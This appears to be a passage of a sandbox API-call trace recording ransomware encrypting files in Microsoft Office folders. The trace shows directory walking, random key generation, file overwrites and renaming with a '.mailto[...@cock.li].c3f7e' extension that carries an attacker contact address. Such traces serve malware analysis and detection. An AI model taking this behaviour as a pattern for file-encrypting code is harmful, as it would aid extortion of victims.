	[0092.315] SetFilePointerEx (in: hFile=0x1478, liDistanceToMove=0x6c800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.315] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb030
	[0092.315] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04180
	[0092.315] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984be0
	[0092.315] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984be0) returned 1
	[0092.316] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50e30b0
	[0092.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984b18
	[0092.317] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984910
	[0092.317] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984910) returned 1
	[0092.317] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04180) returned 1
	[0092.317] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb030) returned 1
	[0092.317] WriteFile (in: hFile=0x1478, lpBuffer=0x50e30b0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1863f6ac, lpOverlapped=0x0 | out: lpBuffer=0x50e30b0*, lpNumberOfBytesWritten=0x1863f6ac*=0xc800, lpOverlapped=0x0) returned 1
	[0092.328] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50e30b0) returned 1
	[0092.328] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4733388
	[0092.328] SetFilePointerEx (in: hFile=0x1478, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.328] WriteFile (in: hFile=0x1478, lpBuffer=0x48bb750*, nNumberOfBytesToWrite=0x149, lpNumberOfBytesWritten=0x1863f754, lpOverlapped=0x0 | out: lpBuffer=0x48bb750*, lpNumberOfBytesWritten=0x1863f754*=0x149, lpOverlapped=0x0) returned 1
	[0092.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48bb750) returned 1
	[0092.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77f00) returned 1
	[0092.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984938) returned 1
	[0092.341] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77ea0) returned 1
	[0092.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4733388) returned 1
	[0092.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0092.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a60) returned 1
	[0092.342] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a88) returned 1
	[0092.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e124d0
	[0092.342] wcscpy (in: _Dest=0x2e124d0, _Source="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC") returned="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC"
	[0092.342] wcscat (in: _Dest=0x2e124d0, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.342] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x1863f70c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\ACCESS12.ACC.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e32998
	[0092.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32998) returned 1
	[0092.343] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0092.343] NtQueryInformationFile (in: FileHandle=0x1478, IoStatusBlock=0x1863f718, FileInformation=0x1863f6f0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1863f718, FileInformation=0x1863f6f0) returned 0x0
	[0092.343] NtSetInformationFile (FileHandle=0x1478, IoStatusBlock=0x1863f718, FileInformation=0x1863f6f0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0092.346] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e124d0) returned 1
	[0092.346] FlushFileBuffers (hFile=0x1478) returned 1
	[0093.279] CloseHandle (hObject=0x1478) 

Thread:
	id = 648
	os_tid = 0x194c

	[0078.172] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5c) returned 0x4780230
	[0078.172] wcscpy (in: _Dest=0x4780230, _Source="C:\\Program Files\\Microsoft Office\\root\\rsod" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\rsod") returned="C:\\Program Files\\Microsoft Office\\root\\rsod"
	[0078.172] wcscat (in: _Dest=0x4780230, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\rsod\\") returned="C:\\Program Files\\Microsoft Office\\root\\rsod\\"
	[0078.172] wcscat (in: _Dest=0x4780230, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\rsod\\*") returned="C:\\Program Files\\Microsoft Office\\root\\rsod\\*"
	[0078.173] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a2588
	[0078.173] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\*", lpFindFileData=0x47a2588 | out: lpFindFileData=0x47a2588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7750
	[0082.028] wcscmp (_String1=".", _String2=".") returned 0
	[0082.028] FindNextFileW (in: hFindFile=0x46a7750, lpFindFileData=0x47a2588 | out: lpFindFileData=0x47a2588*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8396fbd3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b1a0d3d, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.029] wcscmp (_String1="..", _String2=".") returned 1
	[0082.029] wcscmp (_String1="..", _String2="..") returned 0
	[0082.029] FindNextFileW (in: hFindFile=0x46a7750, lpFindFileData=0x47a2588 | out: lpFindFileData=0x47a2588*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x21b9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="access.x-none.msi.16.x-none.boot.tree.dat", cAlternateFileName="ACCESS~1.DAT")) returned 1
	[0082.029] wcscmp (_String1="access.x-none.msi.16.x-none.boot.tree.dat", _String2=".") returned 1
	[0082.029] wcscmp (_String1="access.x-none.msi.16.x-none.boot.tree.dat", _String2="..") returned 1
	[0082.029] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xac) returned 0x2d7dec0
	[0082.029] wcscpy (in: _Dest=0x2d7dec0, _Source="C:\\Program Files\\Microsoft Office\\root\\rsod" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\rsod") returned="C:\\Program Files\\Microsoft Office\\root\\rsod"
	[0082.029] wcscat (in: _Dest=0x2d7dec0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\rsod\\") returned="C:\\Program Files\\Microsoft Office\\root\\rsod\\"
	[0082.029] wcscat (in: _Dest=0x2d7dec0, _Source="access.x-none.msi.16.x-none.boot.tree.dat" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat") returned="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat"
	[0091.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat")) returned 0x220
	[0091.331] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat", dwFileAttributes=0x20) returned 1
	[0091.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1518
	[0091.331] GetFileSizeEx (in: hFile=0x1518, lpFileSize=0x186bfad8 | out: lpFileSize=0x186bfad8*=138139) returned 1
	[0091.331] SetFilePointerEx (in: hFile=0x1518, liDistanceToMove=0x21b97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.331] ReadFile (in: hFile=0x1518, lpBuffer=0x186bfa5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x186bfa58, lpOverlapped=0x0 | out: lpBuffer=0x186bfa5c*, lpNumberOfBytesRead=0x186bfa58*=0x4, lpOverlapped=0x0) returned 1
	[0091.342] SetFilePointerEx (in: hFile=0x1518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a60
	[0091.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731808
	[0091.342] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b78
	[0091.342] NtQuerySystemTime (in: CurrentTime=0x186bfa38 | out: CurrentTime=0x186bfa38*=132251868180721193) returned 0x0
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0xdbddc364
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x92af2314
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x847879b2
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x189efef2
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x9a500f8f
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x3da599b8
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x62626373
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x46139c72
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0xd420c56
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x1ab9c121
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0xdc78e072
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0xa9ef0b6b
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x19034647
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0xef38d85c
	[0091.342] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x7b2c169e
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x99941ad4
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0xba5e105a
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x1de05cd2
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0xcbf371dd
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0xc35de3fd
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x1c7d1909
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x2a904360
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x17115745
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x4533b229
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0xae4ffaf3
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0xea8d4e46
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x8addd030
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x314aa925
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x84b2393e
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x2fff4308
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x99d5513d
	[0091.343] RtlRandom (in: Seed=0x186bfa44 | out: Seed=0x186bfa44) returned 0x92436386
	[0091.351] SetFilePointerEx (in: hFile=0x1518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.351] ReadFile (in: hFile=0x1518, lpBuffer=0x50b1090, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x186bfa18, lpOverlapped=0x0 | out: lpBuffer=0x50b1090*, lpNumberOfBytesRead=0x186bfa18*=0xc800, lpOverlapped=0x0) returned 1
	[0091.355] SetFilePointerEx (in: hFile=0x1518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.355] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfab68
	[0091.355] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2d83120
	[0091.355] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0091.355] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0091.356] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x50ca0a0
	[0091.357] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0091.357] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731948
	[0091.357] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731948) returned 1
	[0091.357] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d83120) returned 1
	[0091.357] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfab68) returned 1
	[0091.357] WriteFile (in: hFile=0x1518, lpBuffer=0x50ca0a0*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x186bfa18, lpOverlapped=0x0 | out: lpBuffer=0x50ca0a0*, lpNumberOfBytesWritten=0x186bfa18*=0xc800, lpOverlapped=0x0) returned 1
	[0091.361] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50ca0a0) returned 1
	[0091.361] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50b1090) returned 1
	[0091.361] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x5f) returned 0x47342f8
	[0091.361] SetFilePointerEx (in: hFile=0x1518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.361] WriteFile (in: hFile=0x1518, lpBuffer=0x4790b40*, nNumberOfBytesToWrite=0x143, lpNumberOfBytesWritten=0x186bfa98, lpOverlapped=0x0 | out: lpBuffer=0x4790b40*, lpNumberOfBytesWritten=0x186bfa98*=0x143, lpOverlapped=0x0) returned 1
	[0091.366] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790b40) returned 1
	[0091.366] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47334c0) returned 1
	[0091.366] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731970) returned 1
	[0091.366] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47342f8) returned 1
	[0091.366] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0091.366] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731808) returned 1
	[0091.366] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47318a8) returned 1
	[0091.366] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b00) returned 1
	[0091.366] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4776a60
	[0091.366] wcscpy (in: _Dest=0x4776a60, _Source="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat") returned="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat"
	[0091.366] wcscat (in: _Dest=0x4776a60, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0091.366] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x186bfa50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\root\\rsod\\access.x-none.msi.16.x-none.boot.tree.dat.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0091.366] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x108) returned 0x47175d0
	[0091.368] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47175d0) returned 1
	[0091.368] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028008) returned 1
	[0091.368] NtQueryInformationFile (in: FileHandle=0x1518, IoStatusBlock=0x186bfa5c, FileInformation=0x186bfa34, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x186bfa5c, FileInformation=0x186bfa34) returned 0x0
	[0091.368] NtSetInformationFile (FileHandle=0x1518, IoStatusBlock=0x186bfa5c, FileInformation=0x186bfa34, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0091.369] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776a60) returned 1
	[0091.369] FlushFileBuffers (hFile=0x1518) returned 1
	[0093.273] CloseHandle (hObject=0x1518) 

Thread:
	id = 649
	os_tid = 0x1950

	[0078.174] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x68) returned 0x2d870d8
	[0078.175] wcscpy (in: _Dest=0x2d870d8, _Source="C:\\Program Files\\Microsoft Office\\root\\Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery"
	[0078.175] wcscat (in: _Dest=0x2d870d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery\\") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery\\"
	[0078.175] wcscat (in: _Dest=0x2d870d8, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery\\*") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery\\*"
	[0078.175] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a27f0
	[0078.175] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\*", lpFindFileData=0x47a27f0 | out: lpFindFileData=0x47a27f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7710
	[0082.025] wcscmp (_String1=".", _String2=".") returned 0
	[0082.025] FindNextFileW (in: hFindFile=0x46a7710, lpFindFileData=0x47a27f0 | out: lpFindFileData=0x47a27f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb48c20e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb48c20e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.025] wcscmp (_String1="..", _String2=".") returned 1
	[0082.025] wcscmp (_String1="..", _String2="..") returned 0
	[0082.025] FindNextFileW (in: hFindFile=0x46a7710, lpFindFileData=0x47a27f0 | out: lpFindFileData=0x47a27f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0082.025] wcscmp (_String1="1033", _String2=".") returned 1
	[0082.025] wcscmp (_String1="1033", _String2="..") returned 1
	[0082.025] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6e) returned 0x2e049f0
	[0082.025] wcscpy (in: _Dest=0x2e049f0, _Source="C:\\Program Files\\Microsoft Office\\root\\Stationery" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery"
	[0082.025] wcscat (in: _Dest=0x2e049f0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery\\") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery\\"
	[0082.025] wcscat (in: _Dest=0x2e049f0, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033"
	[0091.369] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x72) returned 0x47bc910
	[0091.369] wcscpy (in: _Dest=0x47bc910, _Source="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033"
	[0091.369] wcscat (in: _Dest=0x47bc910, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\"
	[0091.369] wcscat (in: _Dest=0x47bc910, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\*") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\*"
	[0091.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502efc8
	[0091.370] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\*", lpFindFileData=0x502efc8 | out: lpFindFileData=0x502efc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b428
	[0091.373] wcscmp (_String1=".", _String2=".") returned 0
	[0091.373] FindNextFileW (in: hFindFile=0x477b428, lpFindFileData=0x502efc8 | out: lpFindFileData=0x502efc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb48c20e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6099da, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6099da, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.373] wcscmp (_String1="..", _String2=".") returned 1
	[0091.373] wcscmp (_String1="..", _String2="..") returned 0
	[0091.373] FindNextFileW (in: hFindFile=0x477b428, lpFindFileData=0x502efc8 | out: lpFindFileData=0x502efc8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb54adf7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb54adf7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb571036, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x176f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.GIF", cAlternateFileName="")) returned 1
	[0091.373] wcscmp (_String1="CURRENCY.GIF", _String2=".") returned 1
	[0091.373] wcscmp (_String1="CURRENCY.GIF", _String2="..") returned 1
	[0091.373] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476e5d8
	[0091.373] wcscpy (in: _Dest=0x476e5d8, _Source="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033"
	[0091.373] wcscat (in: _Dest=0x476e5d8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\"
	[0091.373] wcscat (in: _Dest=0x476e5d8, _Source="CURRENCY.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF") returned="C:\\Program Files\\Microsoft Office\\root\\Stationery\\1033\\CURRENCY.GIF"
